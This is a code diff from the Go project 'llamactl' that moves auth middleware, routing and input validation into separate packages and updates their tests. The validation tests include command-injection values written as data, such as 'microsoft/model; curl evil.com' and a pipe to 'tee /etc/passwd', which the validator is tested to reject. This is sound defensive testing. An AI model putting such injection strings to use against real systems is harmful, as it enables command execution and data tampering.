requireInferenceAuth: config.RequireInferenceAuth, requireInferenceAuth: authCfg.RequireInferenceAuth,
inferenceKeys: inferenceAPIKeys, inferenceKeys: inferenceAPIKeys,
requireManagementAuth: config.RequireManagementAuth, requireManagementAuth: authCfg.RequireManagementAuth,
managementKeys: managementAPIKeys, managementKeys: managementAPIKeys,
} }
} }

View File

@@ -1,18 +1,18 @@
package llamactl_test package server_test
import ( import (
"llamactl/pkg/config"
"llamactl/pkg/server"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"strings" "strings"
"testing" "testing"
llamactl "llamactl/pkg"
) )
func TestAuthMiddleware(t *testing.T) { func TestAuthMiddleware(t *testing.T) {
tests := []struct { tests := []struct {
name string name string
keyType llamactl.KeyType keyType server.KeyType
inferenceKeys []string inferenceKeys []string
managementKeys []string managementKeys []string
requestKey string requestKey string
@@ -22,7 +22,7 @@ func TestAuthMiddleware(t *testing.T) {
// Valid key tests // Valid key tests
{ {
name: "valid inference key for inference", name: "valid inference key for inference",
keyType: llamactl.KeyTypeInference, keyType: server.KeyTypeInference,
inferenceKeys: []string{"sk-inference-valid123"}, inferenceKeys: []string{"sk-inference-valid123"},
requestKey: "sk-inference-valid123", requestKey: "sk-inference-valid123",
method: "GET", method: "GET",
@@ -30,7 +30,7 @@ func TestAuthMiddleware(t *testing.T) {
}, },
{ {
name: "valid management key for inference", // Management keys work for inference name: "valid management key for inference", // Management keys work for inference
keyType: llamactl.KeyTypeInference, keyType: server.KeyTypeInference,
managementKeys: []string{"sk-management-admin123"}, managementKeys: []string{"sk-management-admin123"},
requestKey: "sk-management-admin123", requestKey: "sk-management-admin123",
method: "GET", method: "GET",
@@ -38,7 +38,7 @@ func TestAuthMiddleware(t *testing.T) {
}, },
{ {
name: "valid management key for management", name: "valid management key for management",
keyType: llamactl.KeyTypeManagement, keyType: server.KeyTypeManagement,
managementKeys: []string{"sk-management-admin123"}, managementKeys: []string{"sk-management-admin123"},
requestKey: "sk-management-admin123", requestKey: "sk-management-admin123",
method: "GET", method: "GET",
@@ -48,7 +48,7 @@ func TestAuthMiddleware(t *testing.T) {
// Invalid key tests // Invalid key tests
{ {
name: "inference key for management should fail", name: "inference key for management should fail",
keyType: llamactl.KeyTypeManagement, keyType: server.KeyTypeManagement,
inferenceKeys: []string{"sk-inference-user123"}, inferenceKeys: []string{"sk-inference-user123"},
requestKey: "sk-inference-user123", requestKey: "sk-inference-user123",
method: "GET", method: "GET",
@@ -56,7 +56,7 @@ func TestAuthMiddleware(t *testing.T) {
}, },
{ {
name: "invalid inference key", name: "invalid inference key",
keyType: llamactl.KeyTypeInference, keyType: server.KeyTypeInference,
inferenceKeys: []string{"sk-inference-valid123"}, inferenceKeys: []string{"sk-inference-valid123"},
requestKey: "sk-inference-invalid", requestKey: "sk-inference-invalid",
method: "GET", method: "GET",
@@ -64,7 +64,7 @@ func TestAuthMiddleware(t *testing.T) {
}, },
{ {
name: "missing inference key", name: "missing inference key",
keyType: llamactl.KeyTypeInference, keyType: server.KeyTypeInference,
inferenceKeys: []string{"sk-inference-valid123"}, inferenceKeys: []string{"sk-inference-valid123"},
requestKey: "", requestKey: "",
method: "GET", method: "GET",
@@ -72,7 +72,7 @@ func TestAuthMiddleware(t *testing.T) {
}, },
{ {
name: "invalid management key", name: "invalid management key",
keyType: llamactl.KeyTypeManagement, keyType: server.KeyTypeManagement,
managementKeys: []string{"sk-management-valid123"}, managementKeys: []string{"sk-management-valid123"},
requestKey: "sk-management-invalid", requestKey: "sk-management-invalid",
method: "GET", method: "GET",
@@ -80,7 +80,7 @@ func TestAuthMiddleware(t *testing.T) {
}, },
{ {
name: "missing management key", name: "missing management key",
keyType: llamactl.KeyTypeManagement, keyType: server.KeyTypeManagement,
managementKeys: []string{"sk-management-valid123"}, managementKeys: []string{"sk-management-valid123"},
requestKey: "", requestKey: "",
method: "GET", method: "GET",
@@ -90,7 +90,7 @@ func TestAuthMiddleware(t *testing.T) {
// OPTIONS requests should always pass // OPTIONS requests should always pass
{ {
name: "OPTIONS request bypasses inference auth", name: "OPTIONS request bypasses inference auth",
keyType: llamactl.KeyTypeInference, keyType: server.KeyTypeInference,
inferenceKeys: []string{"sk-inference-valid123"}, inferenceKeys: []string{"sk-inference-valid123"},
requestKey: "", requestKey: "",
method: "OPTIONS", method: "OPTIONS",
@@ -98,7 +98,7 @@ func TestAuthMiddleware(t *testing.T) {
}, },
{ {
name: "OPTIONS request bypasses management auth", name: "OPTIONS request bypasses management auth",
keyType: llamactl.KeyTypeManagement, keyType: server.KeyTypeManagement,
managementKeys: []string{"sk-management-valid123"}, managementKeys: []string{"sk-management-valid123"},
requestKey: "", requestKey: "",
method: "OPTIONS", method: "OPTIONS",
@@ -108,7 +108,7 @@ func TestAuthMiddleware(t *testing.T) {
// Cross-key-type validation // Cross-key-type validation
{ {
name: "management key works for inference endpoint", name: "management key works for inference endpoint",
keyType: llamactl.KeyTypeInference, keyType: server.KeyTypeInference,
inferenceKeys: []string{}, inferenceKeys: []string{},
managementKeys: []string{"sk-management-admin"}, managementKeys: []string{"sk-management-admin"},
requestKey: "sk-management-admin", requestKey: "sk-management-admin",
@@ -119,11 +119,11 @@ func TestAuthMiddleware(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
config := llamactl.AuthConfig{ cfg := config.AuthConfig{
InferenceKeys: tt.inferenceKeys, InferenceKeys: tt.inferenceKeys,
ManagementKeys: tt.managementKeys, ManagementKeys: tt.managementKeys,
} }
middleware := llamactl.NewAPIAuthMiddleware(config) middleware := server.NewAPIAuthMiddleware(cfg)
// Create test request // Create test request
req := httptest.NewRequest(tt.method, "/test", nil) req := httptest.NewRequest(tt.method, "/test", nil)
@@ -133,12 +133,12 @@ func TestAuthMiddleware(t *testing.T) {
// Create test handler using the appropriate middleware // Create test handler using the appropriate middleware
var handler http.Handler var handler http.Handler
if tt.keyType == llamactl.KeyTypeInference { if tt.keyType == server.KeyTypeInference {
handler = middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { handler = middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
})) }))
} else { } else {
handler = middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { handler = middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
})) }))
} }
@@ -170,17 +170,17 @@ func TestAuthMiddleware(t *testing.T) {
func TestGenerateAPIKey(t *testing.T) { func TestGenerateAPIKey(t *testing.T) {
tests := []struct { tests := []struct {
name string name string
keyType llamactl.KeyType keyType server.KeyType
}{ }{
{"inference key generation", llamactl.KeyTypeInference}, {"inference key generation", server.KeyTypeInference},
{"management key generation", llamactl.KeyTypeManagement}, {"management key generation", server.KeyTypeManagement},
} }
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
// Test auto-generation by creating config that will trigger it // Test auto-generation by creating config that will trigger it
var config llamactl.AuthConfig var config config.AuthConfig
if tt.keyType == llamactl.KeyTypeInference { if tt.keyType == server.KeyTypeInference {
config.RequireInferenceAuth = true config.RequireInferenceAuth = true
config.InferenceKeys = []string{} // Empty to trigger generation config.InferenceKeys = []string{} // Empty to trigger generation
} else { } else {
@@ -189,19 +189,19 @@ func TestGenerateAPIKey(t *testing.T) {
} }
// Create middleware - this should trigger key generation // Create middleware - this should trigger key generation
middleware := llamactl.NewAPIAuthMiddleware(config) middleware := server.NewAPIAuthMiddleware(config)
// Test that auth is required (meaning a key was generated) // Test that auth is required (meaning a key was generated)
req := httptest.NewRequest("GET", "/", nil) req := httptest.NewRequest("GET", "/", nil)
recorder := httptest.NewRecorder() recorder := httptest.NewRecorder()
var handler http.Handler var handler http.Handler
if tt.keyType == llamactl.KeyTypeInference { if tt.keyType == server.KeyTypeInference {
handler = middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { handler = middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
})) }))
} else { } else {
handler = middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { handler = middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
})) }))
} }
@@ -214,18 +214,18 @@ func TestGenerateAPIKey(t *testing.T) {
} }
// Test uniqueness by creating another middleware instance // Test uniqueness by creating another middleware instance
middleware2 := llamactl.NewAPIAuthMiddleware(config) middleware2 := server.NewAPIAuthMiddleware(config)
req2 := httptest.NewRequest("GET", "/", nil) req2 := httptest.NewRequest("GET", "/", nil)
recorder2 := httptest.NewRecorder() recorder2 := httptest.NewRecorder()
if tt.keyType == llamactl.KeyTypeInference { if tt.keyType == server.KeyTypeInference {
handler2 := middleware2.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { handler2 := middleware2.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
})) }))
handler2.ServeHTTP(recorder2, req2) handler2.ServeHTTP(recorder2, req2)
} else { } else {
handler2 := middleware2.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { handler2 := middleware2.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
})) }))
handler2.ServeHTTP(recorder2, req2) handler2.ServeHTTP(recorder2, req2)
@@ -307,21 +307,21 @@ func TestAutoGeneration(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
config := llamactl.AuthConfig{ cfg := config.AuthConfig{
RequireInferenceAuth: tt.requireInference, RequireInferenceAuth: tt.requireInference,
RequireManagementAuth: tt.requireManagement, RequireManagementAuth: tt.requireManagement,
InferenceKeys: tt.providedInference, InferenceKeys: tt.providedInference,
ManagementKeys: tt.providedManagement, ManagementKeys: tt.providedManagement,
} }
middleware := llamactl.NewAPIAuthMiddleware(config) middleware := server.NewAPIAuthMiddleware(cfg)
// Test inference behavior if inference auth is required // Test inference behavior if inference auth is required
if tt.requireInference { if tt.requireInference {
req := httptest.NewRequest("GET", "/v1/models", nil) req := httptest.NewRequest("GET", "/v1/models", nil)
recorder := httptest.NewRecorder() recorder := httptest.NewRecorder()
handler := middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { handler := middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
})) }))
@@ -338,7 +338,7 @@ func TestAutoGeneration(t *testing.T) {
req := httptest.NewRequest("GET", "/api/v1/instances", nil) req := httptest.NewRequest("GET", "/api/v1/instances", nil)
recorder := httptest.NewRecorder() recorder := httptest.NewRecorder()
handler := middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { handler := middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK) w.WriteHeader(http.StatusOK)
})) }))

View File

@@ -1,4 +1,4 @@
package llamactl package server
type OpenAIListInstancesResponse struct { type OpenAIListInstancesResponse struct {
Object string `json:"object"` Object string `json:"object"`

View File

@@ -1,4 +1,4 @@
package llamactl package server
import ( import (
"fmt" "fmt"
@@ -18,7 +18,7 @@ func SetupRouter(handler *Handler) *chi.Mux {
// Add CORS middleware // Add CORS middleware
r.Use(cors.Handler(cors.Options{ r.Use(cors.Handler(cors.Options{
AllowedOrigins: handler.config.Server.AllowedOrigins, AllowedOrigins: handler.cfg.Server.AllowedOrigins,
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"}, AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"}, AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"},
ExposedHeaders: []string{"Link"}, ExposedHeaders: []string{"Link"},
@@ -27,9 +27,9 @@ func SetupRouter(handler *Handler) *chi.Mux {
})) }))
// Add API authentication middleware // Add API authentication middleware
authMiddleware := NewAPIAuthMiddleware(handler.config.Auth) authMiddleware := NewAPIAuthMiddleware(handler.cfg.Auth)
if handler.config.Server.EnableSwagger { if handler.cfg.Server.EnableSwagger {
r.Get("/swagger/*", httpSwagger.Handler( r.Get("/swagger/*", httpSwagger.Handler(
httpSwagger.URL("/swagger/doc.json"), httpSwagger.URL("/swagger/doc.json"),
)) ))
@@ -38,7 +38,7 @@ func SetupRouter(handler *Handler) *chi.Mux {
// Define routes // Define routes
r.Route("/api/v1", func(r chi.Router) { r.Route("/api/v1", func(r chi.Router) {
if authMiddleware != nil && handler.config.Auth.RequireManagementAuth { if authMiddleware != nil && handler.cfg.Auth.RequireManagementAuth {
r.Use(authMiddleware.AuthMiddleware(KeyTypeManagement)) r.Use(authMiddleware.AuthMiddleware(KeyTypeManagement))
} }
@@ -73,7 +73,7 @@ func SetupRouter(handler *Handler) *chi.Mux {
r.Route(("/v1"), func(r chi.Router) { r.Route(("/v1"), func(r chi.Router) {
if authMiddleware != nil && handler.config.Auth.RequireInferenceAuth { if authMiddleware != nil && handler.cfg.Auth.RequireInferenceAuth {
r.Use(authMiddleware.AuthMiddleware(KeyTypeInference)) r.Use(authMiddleware.AuthMiddleware(KeyTypeInference))
} }

10
pkg/testutil/helpers.go Normal file
View File

@@ -0,0 +1,10 @@
package testutil
// Helper functions for pointer fields
func BoolPtr(b bool) *bool {
return &b
}
func IntPtr(i int) *int {
return &i
}

View File

@@ -1,7 +1,8 @@
package llamactl package validation
import ( import (
"fmt" "fmt"
"llamactl/pkg/instance"
"reflect" "reflect"
"regexp" "regexp"
) )
@@ -33,7 +34,7 @@ func validateStringForInjection(value string) error {
} }
// ValidateInstanceOptions performs minimal security validation // ValidateInstanceOptions performs minimal security validation
func ValidateInstanceOptions(options *CreateInstanceOptions) error { func ValidateInstanceOptions(options *instance.CreateInstanceOptions) error {
if options == nil { if options == nil {
return ValidationError(fmt.Errorf("options cannot be nil")) return ValidationError(fmt.Errorf("options cannot be nil"))
} }
@@ -101,16 +102,16 @@ func validateStructStrings(v any, fieldPath string) error {
return nil return nil
} }
func ValidateInstanceName(name string) error { func ValidateInstanceName(name string) (string, error) {
// Validate instance name // Validate instance name
if name == "" { if name == "" {
return ValidationError(fmt.Errorf("name cannot be empty")) return "", ValidationError(fmt.Errorf("name cannot be empty"))
} }
if !validNamePattern.MatchString(name) { if !validNamePattern.MatchString(name) {
return ValidationError(fmt.Errorf("name contains invalid characters (only alphanumeric, hyphens, underscores allowed)")) return "", ValidationError(fmt.Errorf("name contains invalid characters (only alphanumeric, hyphens, underscores allowed)"))
} }
if len(name) > 50 { if len(name) > 50 {
return ValidationError(fmt.Errorf("name too long (max 50 characters)")) return "", ValidationError(fmt.Errorf("name too long (max 50 characters)"))
} }
return nil return name, nil
} }

View File

@@ -1,10 +1,12 @@
package llamactl_test package validation_test
import ( import (
"llamactl/pkg/backends/llamacpp"
"llamactl/pkg/instance"
"llamactl/pkg/testutil"
"llamactl/pkg/validation"
"strings" "strings"
"testing" "testing"
llamactl "llamactl/pkg"
) )
func TestValidateInstanceName(t *testing.T) { func TestValidateInstanceName(t *testing.T) {
@@ -39,16 +41,23 @@ func TestValidateInstanceName(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
err := llamactl.ValidateInstanceName(tt.input) name, err := validation.ValidateInstanceName(tt.input)
if (err != nil) != tt.wantErr { if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr) t.Errorf("ValidateInstanceName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr)
} }
if tt.wantErr {
return // Skip further checks if we expect an error
}
// If no error, check that the name is returned as expected
if name != tt.input {
t.Errorf("ValidateInstanceName(%q) = %q, want %q", tt.input, name, tt.input)
}
}) })
} }
} }
func TestValidateInstanceOptions_NilOptions(t *testing.T) { func TestValidateInstanceOptions_NilOptions(t *testing.T) {
err := llamactl.ValidateInstanceOptions(nil) err := validation.ValidateInstanceOptions(nil)
if err == nil { if err == nil {
t.Error("Expected error for nil options") t.Error("Expected error for nil options")
} }
@@ -73,13 +82,13 @@ func TestValidateInstanceOptions_PortValidation(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Port: tt.port, Port: tt.port,
}, },
} }
err := llamactl.ValidateInstanceOptions(options) err := validation.ValidateInstanceOptions(options)
if (err != nil) != tt.wantErr { if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceOptions(port=%d) error = %v, wantErr %v", tt.port, err, tt.wantErr) t.Errorf("ValidateInstanceOptions(port=%d) error = %v, wantErr %v", tt.port, err, tt.wantErr)
} }
@@ -126,13 +135,13 @@ func TestValidateInstanceOptions_StringInjection(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
// Test with Model field (string field) // Test with Model field (string field)
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: tt.value, Model: tt.value,
}, },
} }
err := llamactl.ValidateInstanceOptions(options) err := validation.ValidateInstanceOptions(options)
if (err != nil) != tt.wantErr { if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceOptions(model=%q) error = %v, wantErr %v", tt.value, err, tt.wantErr) t.Errorf("ValidateInstanceOptions(model=%q) error = %v, wantErr %v", tt.value, err, tt.wantErr)
} }
@@ -163,13 +172,13 @@ func TestValidateInstanceOptions_ArrayInjection(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
// Test with Lora field (array field) // Test with Lora field (array field)
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Lora: tt.array, Lora: tt.array,
}, },
} }
err := llamactl.ValidateInstanceOptions(options) err := validation.ValidateInstanceOptions(options)
if (err != nil) != tt.wantErr { if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceOptions(lora=%v) error = %v, wantErr %v", tt.array, err, tt.wantErr) t.Errorf("ValidateInstanceOptions(lora=%v) error = %v, wantErr %v", tt.array, err, tt.wantErr)
} }
@@ -181,13 +190,13 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
// Test that injection in any field is caught // Test that injection in any field is caught
tests := []struct { tests := []struct {
name string name string
options *llamactl.CreateInstanceOptions options *instance.CreateInstanceOptions
wantErr bool wantErr bool
}{ }{
{ {
name: "injection in model field", name: "injection in model field",
options: &llamactl.CreateInstanceOptions{ options: &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "safe.gguf", Model: "safe.gguf",
HFRepo: "microsoft/model; curl evil.com", HFRepo: "microsoft/model; curl evil.com",
}, },
@@ -196,8 +205,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
}, },
{ {
name: "injection in log file", name: "injection in log file",
options: &llamactl.CreateInstanceOptions{ options: &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "safe.gguf", Model: "safe.gguf",
LogFile: "/tmp/log.txt | tee /etc/passwd", LogFile: "/tmp/log.txt | tee /etc/passwd",
}, },
@@ -206,8 +215,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
}, },
{ {
name: "all safe fields", name: "all safe fields",
options: &llamactl.CreateInstanceOptions{ options: &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
HFRepo: "microsoft/DialoGPT-medium", HFRepo: "microsoft/DialoGPT-medium",
LogFile: "/tmp/llama.log", LogFile: "/tmp/llama.log",
@@ -221,7 +230,7 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
err := llamactl.ValidateInstanceOptions(tt.options) err := validation.ValidateInstanceOptions(tt.options)
if (err != nil) != tt.wantErr { if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceOptions() error = %v, wantErr %v", err, tt.wantErr) t.Errorf("ValidateInstanceOptions() error = %v, wantErr %v", err, tt.wantErr)
} }
@@ -231,11 +240,11 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
func TestValidateInstanceOptions_NonStringFields(t *testing.T) { func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
// Test that non-string fields don't interfere with validation // Test that non-string fields don't interfere with validation
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
AutoRestart: boolPtr(true), AutoRestart: testutil.BoolPtr(true),
MaxRestarts: intPtr(5), MaxRestarts: testutil.IntPtr(5),
RestartDelay: intPtr(10), RestartDelay: testutil.IntPtr(10),
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Port: 8080, Port: 8080,
GPULayers: 32, GPULayers: 32,
CtxSize: 4096, CtxSize: 4096,
@@ -247,17 +256,8 @@ func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
}, },
} }
err := llamactl.ValidateInstanceOptions(options) err := validation.ValidateInstanceOptions(options)
if err != nil { if err != nil {
t.Errorf("ValidateInstanceOptions with non-string fields should not error, got: %v", err) t.Errorf("ValidateInstanceOptions with non-string fields should not error, got: %v", err)
} }
} }
// Helper functions for pointer fields
func boolPtr(b bool) *bool {
return &b
}
func intPtr(i int) *int {
return &i
}